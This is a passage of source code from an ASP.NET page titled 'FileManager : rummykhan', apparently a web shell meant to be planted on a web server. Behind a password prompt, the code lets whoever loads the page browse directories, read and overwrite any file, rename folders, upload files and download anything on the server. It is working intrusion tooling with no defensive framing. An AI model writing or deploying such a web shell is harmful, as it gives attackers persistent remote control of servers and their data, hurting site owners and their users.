        ListDir(txtDir.Value);
    }
    
    private void rnm(string source, string dire)
    {
        try
        {
            dire = Path.Combine(txtDir.Value, dire);
            Directory.Move(source, dire);
            ShowNotification("Rename Success");
        }
        catch (Exception error)
        {
            ShowNotification(error.Message);
        }
        ListDir(txtDir.Value);
    }

    private void Bin_CreateFile(string path)
    {
        FileManager.Visible = false;
        Editor.Visible = true;
        if (path.IndexOf(":") < 0)
        {
            Bin_TextBox_Fp.Value = txtDir.Value + path;
        }
        else
        {
            Bin_TextBox_Fp.Value = path;
        }
        if (File.Exists(Bin_TextBox_Fp.Value))
        {
            StreamReader sr = new StreamReader(Bin_TextBox_Fp.Value, Encoding.Default);
            Bin_Textarea_Edit.InnerText = sr.ReadToEnd();
            sr.Close();
        }
        else
        {
            Bin_Textarea_Edit.InnerText = "";
        }
    }
    
    private void dwfile(string path)
    {
        FileStream fs = null;
        byte[] buffer = new byte[0x1000];
        int count = 0;
        try
        {
            FileInfo fi = new FileInfo(path);
            fs = fi.OpenRead();
            Response.Clear();
            Response.ClearHeaders();
            Response.Buffer = false;
            this.EnableViewState = false;
            Response.AddHeader("Content-Disposition", "attachment;filename=" + HttpUtility.UrlEncode(fi.Name, System.Text.Encoding.UTF8));
            Response.AddHeader("Content-Length", fi.Length.ToString());
            Response.ContentType = "application/octet-stream";
            count = fs.Read(buffer, 0, 0x1000);
            while (count > 0)
            {
                Response.OutputStream.Write(buffer, 0, count);
                Response.Flush();
                count = fs.Read(buffer, 0, 0x1000);
            }
            Page.Response.Flush();
            Response.End();
        }
        catch (Exception ex) { ShowNotification(ex.Message); }
        finally { if (fs != null) { fs.Close(); } }
    }
    
    public static void JscriptSender(System.Web.UI.Page page)
    {
        page.RegisterHiddenField("__EVENTTARGET", "");
        page.RegisterHiddenField("__FILE", "");
        string s = @"<script language=Javascript>";
        s += @"function Bin_PostBack(eventTarget,eventArgument)";
        s += @"{";
        s += @"var theform=document.forms[0];";
        s += @"theform.__EVENTTARGET.value=eventTarget;";
        s += @"theform.__FILE.value=eventArgument;";
        s += @"theform.submit();theform.__EVENTTARGET.value="""";theform.__FILE.value=""""";
        s += @"} ";
        s += @"</scr" + "ipt>";
        page.RegisterStartupScript("", s);
    }

    protected void Bin_Button_Save_Click(object sender, EventArgs e)
    {
        try
        {
            StreamWriter sw = new StreamWriter(Bin_TextBox_Fp.Value, false, Encoding.Default);
            sw.Write(Bin_Textarea_Edit.InnerText);
            sw.Close();
            ShowNotification("Saved");
        }
        catch (Exception error)
        {
            ShowNotification(error.Message);
        }
        ListDir(txtDir.Value);
    }

    void ShowNotification(string Notification)
    {
        Response.Write("<center><span class=\"notify\">" + Notification + "</span></center>");
    }
    
    protected void btnGo_Click(object sender, EventArgs e)
    {
        ListDir(txtDir.Value);
    }
</script>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title>FileManager : rummykhan</title>
    <style type="text/css">
        .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;}
        .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:20px;}
        .head td{border-top:1px solid #ddd;border-bottom:1px solid #ccc;background:#e8e8e8;padding:5px 10px 5px 5px;font:11px Verdana;}
        .myFont{font:11px Verdana;}
        .notify{font:11px Verdana; color:red;font-weight:bold;}
    </style>
</head>
<body>
    <form id="form1" runat="server">
        <%--Login--%>
        <center>
        <div id="Login" runat="server" style=" margin:15px" enableviewstate="false" visible="false" >
		<span class="myFont">Password:</span>
		<asp:TextBox ID="txtPass" runat="server"></asp:TextBox>
		<asp:Button ID="btnLogin" runat="server" Text="Login" OnClick="btnLogin_Click"/>
         <br /><span class="myFont">Powered By rummykhan!!</span>
	    </div>
         
        <%--Uploader--%>
        <div id="uploader" runat="server" enableviewstate="false">
        <asp:FileUpload ID="fu" runat="server" CssClass="bt" />
        <asp:Button ID="upl" runat="server" Text="Upload" CssClass="bt" OnClick="upl_Click" />
        </div>

        <%--FileList--%>
	    <div id="FileManager" runat="server">
	    <table width="80%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
        <tr>
	    <td style="font:11px Verdana;white-space:nowrap">Current Directory : </td>
	    <td style=" width:100%"><input class="input" id="txtDir" type="text" style="width:97%;margin:0 8px;font:11px Verdana;" runat="server"/>
	    </td>
	    <td style="white-space:nowrap" ><asp:Button ID="btnGo" runat="server" Text="Go" CssClass="bt" OnClick="btnGo_Click"/></td>
        </tr>
	    </table>
	    <asp:Table ID="tblFile" runat="server" Width="80%" CellSpacing="0" >
		<asp:TableRow CssClass="head"><asp:TableCell>Filename</asp:TableCell><asp:TableCell Width="15%">Size</asp:TableCell><asp:TableCell Width="25%">Action</asp:TableCell></asp:TableRow>
		</asp:Table>
	    </div>

        <%--FileEdit--%>
	    <div id="Editor" runat="server" visible="false">
	    <input class="input" id="Bin_TextBox_Fp" type="text" size="100" runat="server"/>
	    </p>
	    <p class="myFont">File Content<br/>
	    <textarea id="Bin_Textarea_Edit" runat="server" class="area" cols="100" rows="25" enableviewstate="false" ></textarea>
	    </p>
	    <p><asp:Button ID="Bin_Button_Save" runat="server" Text="Submit" CssClass="bt" OnClick="Bin_Button_Save_Click"/> </p>
	    </div>
        </center>
    </form>
</body>
</html>